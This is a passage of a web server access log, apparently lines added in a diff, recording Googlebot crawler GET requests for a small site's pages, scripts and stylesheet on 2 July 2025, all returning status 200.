HTTP/1.1" 200 2713 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:02 +0000] "GET /index.html HTTP/1.1" 200 4528 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /products/2 HTTP/1.1" 200 4480 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:02 +0000] "GET /index.html HTTP/1.1" 200 1829 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /main.js HTTP/1.1" 200 1954 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:02 +0000] "GET /main.js HTTP/1.1" 200 1836 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /styles.css HTTP/1.1" 200 1945 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /main.js HTTP/1.1" 200 1183 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /styles.css HTTP/1.1" 200 1248 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /about.html HTTP/1.1" 200 3730 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:02 +0000] "GET /contact.html HTTP/1.1" 200 4955 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:02 +0000] "GET /products/1 HTTP/1.1" 200 2154 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:02 +0000] "GET /about.html HTTP/1.1" 200 1382 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /products/1 HTTP/1.1" 200 4763 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /products/2 HTTP/1.1" 200 2592 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /products/1 HTTP/1.1" 200 2922 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /products/2 HTTP/1.1" 200 3009 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /main.js HTTP/1.1" 200 1453 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /about.html HTTP/1.1" 200 2893 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 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02 12:04:02 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:02 +0000] "GET /about.html HTTP/1.1" 200 3405 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /styles.css HTTP/1.1" 200 1918 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /products/1 HTTP/1.1" 200 3342 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /index.html HTTP/1.1" 200 2893 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /styles.css HTTP/1.1" 200 4993 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /products/2 HTTP/1.1" 200 1202 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:04:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:04 +0000] "GET /index.html HTTP/1.1" 200 1609 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:04 +0000] "GET /main.js HTTP/1.1" 200 4230 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:04 +0000] "GET /products/2 HTTP/1.1" 200 1805 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:04 +0000] "GET /index.html HTTP/1.1" 200 2503 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:04 +0000] "GET /styles.css HTTP/1.1" 200 2083 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:04 +0000] "GET /styles.css HTTP/1.1" 200 4665 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:04 +0000] "GET /index.html HTTP/1.1" 200 2814 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:04 +0000] "GET /products/1 HTTP/1.1" 200 3025 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:04 +0000] "GET /products/1 HTTP/1.1" 200 1222 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:04 +0000] "GET /contact.html HTTP/1.1" 200 2241 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:04 +0000] "GET /contact.html HTTP/1.1" 200 4047 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:04 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:04 +0000] "GET /index.html HTTP/1.1" 200 3630 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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12:04:11 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:11 +0000] "GET /index.html HTTP/1.1" 200 4630 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:11 +0000] "GET /styles.css HTTP/1.1" 200 1526 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:11 +0000] "GET /main.js HTTP/1.1" 200 3765 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:11 +0000] "GET /products/1 HTTP/1.1" 200 1255 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:11 +0000] "GET /contact.html HTTP/1.1" 200 1521 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:11 +0000] "GET /styles.css HTTP/1.1" 200 2876 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 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12:04:11 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:11 +0000] "GET /about.html HTTP/1.1" 200 2136 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:11 +0000] "GET /index.html HTTP/1.1" 200 3318 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:11 +0000] "GET /contact.html HTTP/1.1" 200 4992 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:11 +0000] "GET /about.html HTTP/1.1" 200 1281 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:11 +0000] "GET /styles.css HTTP/1.1" 200 1895 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:11 +0000] "GET /styles.css HTTP/1.1" 200 3941 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:11 +0000] "GET /products/1 HTTP/1.1" 200 4933 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:11 +0000] "GET /contact.html HTTP/1.1" 200 1427 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:11 +0000] "GET /products/1 HTTP/1.1" 200 1890 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:11 +0000] "GET /styles.css HTTP/1.1" 200 2574 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:11 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:11 +0000] "GET /styles.css HTTP/1.1" 200 2770 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:12 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:12 +0000] "GET /contact.html HTTP/1.1" 200 4380 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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12:04:15 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:15 +0000] "GET /contact.html HTTP/1.1" 200 1964 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:15 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:15 +0000] "GET /styles.css HTTP/1.1" 200 4887 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:15 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:15 +0000] "GET /index.html HTTP/1.1" 200 3062 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:15 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:15 +0000] "GET /products/2 HTTP/1.1" 200 4482 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:15 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:15 +0000] "GET /products/2 HTTP/1.1" 200 4925 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:15 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:15 +0000] "GET /contact.html HTTP/1.1" 200 3227 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:04:28 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:28 +0000] "GET /about.html HTTP/1.1" 200 4930 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:28 +0000] "GET /products/1 HTTP/1.1" 200 4232 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /index.html HTTP/1.1" 200 4201 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /about.html HTTP/1.1" 200 2988 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /about.html HTTP/1.1" 200 4214 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /main.js HTTP/1.1" 200 3748 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /about.html HTTP/1.1" 200 3688 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /about.html HTTP/1.1" 200 4585 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /styles.css HTTP/1.1" 200 4196 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /main.js HTTP/1.1" 200 2682 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /styles.css HTTP/1.1" 200 3975 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /main.js HTTP/1.1" 200 2287 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /products/2 HTTP/1.1" 200 2286 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /products/1 HTTP/1.1" 200 1676 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:28 +0000] "GET /index.html HTTP/1.1" 200 3123 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /products/1 HTTP/1.1" 200 3586 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /products/2 HTTP/1.1" 200 1216 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /about.html HTTP/1.1" 200 4406 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:28 +0000] "GET /main.js HTTP/1.1" 200 1669 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /main.js HTTP/1.1" 200 3535 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:28 +0000] "GET /main.js HTTP/1.1" 200 3785 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:28 +0000] "GET /main.js HTTP/1.1" 200 4569 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /index.html HTTP/1.1" 200 3688 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /products/2 HTTP/1.1" 200 1691 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /products/1 HTTP/1.1" 200 3315 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:28 +0000] "GET /products/2 HTTP/1.1" 200 1220 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /products/1 HTTP/1.1" 200 3508 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /products/1 HTTP/1.1" 200 3590 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /main.js HTTP/1.1" 200 3624 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /index.html HTTP/1.1" 200 1516 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:28 +0000] "GET /products/2 HTTP/1.1" 200 1281 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /main.js HTTP/1.1" 200 2681 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /about.html HTTP/1.1" 200 4590 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /products/1 HTTP/1.1" 200 2075 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /products/1 HTTP/1.1" 200 1091 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:28 +0000] "GET /about.html HTTP/1.1" 200 4541 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:28 +0000] "GET /about.html HTTP/1.1" 200 1625 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:29 +0000] "GET /about.html HTTP/1.1" 200 3390 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:29 +0000] "GET /main.js HTTP/1.1" 200 2256 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /styles.css HTTP/1.1" 200 2042 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:29 +0000] "GET /index.html HTTP/1.1" 200 4231 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:29 +0000] "GET /about.html HTTP/1.1" 200 1527 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /index.html HTTP/1.1" 200 3455 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:29 +0000] "GET /products/2 HTTP/1.1" 200 4130 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:29 +0000] "GET /index.html HTTP/1.1" 200 4218 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:29 +0000] "GET /main.js HTTP/1.1" 200 3604 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:29 +0000] "GET /products/2 HTTP/1.1" 200 1419 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /main.js HTTP/1.1" 200 1587 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /about.html HTTP/1.1" 200 1317 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /index.html HTTP/1.1" 200 1277 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:29 +0000] "GET /contact.html HTTP/1.1" 200 4830 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /about.html HTTP/1.1" 200 1418 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:29 +0000] "GET /main.js HTTP/1.1" 200 2877 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /index.html HTTP/1.1" 200 1690 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /index.html HTTP/1.1" 200 2333 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:29 +0000] "GET /contact.html HTTP/1.1" 200 4330 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:29 +0000] "GET /index.html HTTP/1.1" 200 2076 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:29 +0000] "GET /products/2 HTTP/1.1" 200 3286 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:29 +0000] "GET /products/1 HTTP/1.1" 200 1911 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:29 +0000] "GET /index.html HTTP/1.1" 200 2580 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:29 +0000] "GET /styles.css HTTP/1.1" 200 2084 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /contact.html HTTP/1.1" 200 1155 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /products/2 HTTP/1.1" 200 2182 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:29 +0000] "GET /index.html HTTP/1.1" 200 2109 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:29 +0000] "GET /styles.css HTTP/1.1" 200 4907 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:29 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:29 +0000] "GET /index.html HTTP/1.1" 200 1459 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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+0000] "GET /products/2 HTTP/1.1" 200 3576 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:32 +0000] "GET /styles.css HTTP/1.1" 200 4187 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:32 +0000] "GET /products/2 HTTP/1.1" 200 2967 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /contact.html HTTP/1.1" 200 4690 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:32 +0000] "GET /contact.html HTTP/1.1" 200 4342 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /styles.css HTTP/1.1" 200 3083 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.5 - - 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12:04:32 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /products/1 HTTP/1.1" 200 3365 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:32 +0000] "GET /about.html HTTP/1.1" 200 4124 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:32 +0000] "GET /main.js HTTP/1.1" 200 3228 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:32 +0000] "GET /styles.css HTTP/1.1" 200 2199 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:32 +0000] "GET /main.js HTTP/1.1" 200 2194 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /products/1 HTTP/1.1" 200 1702 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /products/2 HTTP/1.1" 200 1432 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:32 +0000] "GET /contact.html HTTP/1.1" 200 1154 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /index.html HTTP/1.1" 200 1951 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:32 +0000] "GET /styles.css HTTP/1.1" 200 4922 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:32 +0000] "GET /about.html HTTP/1.1" 200 1185 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:32 web-app[2345]: 66.249.66.5 - - 